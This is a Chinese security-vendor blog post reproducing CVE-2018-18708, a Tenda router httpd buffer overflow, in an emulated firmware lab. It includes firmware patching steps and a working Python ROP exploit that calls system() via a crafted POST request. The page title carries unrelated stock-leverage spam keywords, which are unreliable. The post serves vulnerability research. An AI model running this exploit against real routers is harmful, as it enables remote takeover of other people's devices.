在线炒股配资门户网-杠杆交易软件搜加杠网-【东方资本】,股票杠杆app,今日热股什么意思,预计下周一股市行情展望

提交需求
*
*

*
*
*
立即提交
點(diǎn)擊”立即提交”,表明我理解并同意 《美創(chuàng)科技隱私條款》

logo

    產(chǎn)品與服務(wù)
    解決方案
    技術(shù)支持
    合作發(fā)展
    關(guān)于美創(chuàng)

    申請?jiān)囉?/ul>
      CVE-2018-18708:TENDA緩沖區(qū)溢出漏洞復(fù)現(xiàn)
      發(fā)布時間:2023-04-14 閱讀次數(shù): 1181 次

      漏洞概述

      CVE-2018-18708,多款Tenda產(chǎn)品中的httpd存在緩沖區(qū)溢出漏洞,在處理 post 請求的函數(shù)“fromAddressNat”的“page”參數(shù)時,該值直接在 sprintf 中用于放置在堆棧上的局部變量,這會覆蓋函數(shù)的返回地址,從而導(dǎo)致了緩沖區(qū)溢出漏洞。

      以下產(chǎn)品和版本受到影響:Tenda AC7 V15.03.06.44_CN版本;AC9 V15.03.05.19(6318)_CN版本;AC10 V15.03.06.23_CN版本;AC15 V15.03.05.19_CN版本;AC18 V15.03.05.19(6318)_CN版本。



      固件模擬
      首先下載存在漏洞的固件,下載地址:


      https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip
      解壓固件


      binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin --run-as=root
      圖片

      解壓后在_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/目錄下存在squashfs-root文件系統(tǒng)

      圖片

      安裝qemu-user-static


      sudo apt install qemu-user-static
      圖片

      接下來利用quem來調(diào)試



      cp $(which qemu-arm-static) ./
      sudo chroot . ./qemu-arm-static ./bin/httpd

      此時會發(fā)現(xiàn)會一直卡在啟動界面

      圖片

      將/bin/httpd文件拖進(jìn)IDA中,使用alt+t組合鍵搜索“WeLoveLinux”關(guān)鍵字。如下圖所示,此處存在存在的check_network、ConnectCfm會進(jìn)行網(wǎng)絡(luò)連接確認(rèn),需要對這兩個方法的返回值進(jìn)行patch才能繞過此處的判斷邏輯,否則將一直卡在啟動界面。

      圖片

      使用IDA插件keypatch進(jìn)行patch

      https://github.com/keystone-engine/keypatchhttps://github.com/polymorf/findcrypt-yara
      pip install keystone-enginepip install sixpip install yara-python

      需將keypatch.py、findcrypt3.py、 findcrypt3.rules三個文件拷貝到IDA的plugin目錄

      重啟IDA后,右鍵可以看到keypatch插件

      圖片

      接下來通過Keypatch->Patcher將check_network、ConnectCfm的MOV R3, R0都修改為MOV R3, #1

      圖片
      圖片

      點(diǎn)擊Edit->Patch->Apply patches to input file,即可讓上面的patch生效。再將patch后的httpd文件替換掉原本的/bin/httpd文件,并賦予文件執(zhí)行權(quán)限。

      繼續(xù)利用quem來調(diào)試


      sudo chroot . ./qemu-arm-static ./bin/httpd

      發(fā)現(xiàn)IP地址不對

      圖片

      建立一個虛擬網(wǎng)橋br0



      brctl addbr br0ifconfig br0 192.168.1.1/24
      圖片

      拷貝web程序所需文件到/webroot/目錄


      cp -rf ./webroot_ro/* ./webroot/
      圖片

      再次調(diào)試


      chroot . ./qemu-arm-static ./bin/httpd

      訪問http://192.168.1.1,成功搭建漏洞環(huán)境

      圖片



      漏洞利用

      漏洞EXP如下:




      import socket
      import os
      from pwn import *
      li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
      ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
      ip = '192.168.1.1'
      port = 80
      r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      li('[+] connecting')
      r.connect((ip, port))
      li('[+] connect finish')
      rn = b'\r\n'
      libc_base = 0x3fd9c000
      system_addr = 0x005a270 + libc_base
      pop_r3_pc = 0x00018298 + libc_base
      mov_r0_sp_blx_r3 = 0x00040cb8 + libc_base
      p1 = b'a' * 244 + b'a' * 4 +p32(pop_r3_pc) + p32(system_addr) +p32(mov_r0_sp_blx_r3) + b'id'
      p2 = b'page=' + p1
      p3 = b"POST /goform/addressNat" + b" HTTP/1.1" + rn
      p3 += b"Host: 192.168.0.1" + rn
      p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
      p3 += b"Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn  
      p3 += b"Accept-Language: en-US,en;q=0.5" + rn
      p3 += b"Accept-Encoding: gzip, deflate" + rn
      p3 += b"Cookie: password=hum1qw" + rnp3 += b"Connection: close" + rn
      p3 += b"Upgrade-Insecure-Requests: 1" + rn
      p3 += (b"Content-Length: %d" % len(p2)) +rn
      p3 += b'Content-Type: application/x-www-form-urlencoded'+rnp3 += rn
      p3 += p2
      li('[+] sendling payload')
      r.send(p3)
      response = r.recv(4096)
      response = response.decode()
      li(response)


      執(zhí)行EXP 

      可以看到模擬固件進(jìn)程已經(jīng)退出,并提示“段    錯誤”,溢出漏洞復(fù)現(xiàn)成功。


      免費(fèi)試用
      服務(wù)熱線

      馬上咨詢

      400-811-3777

      回到頂部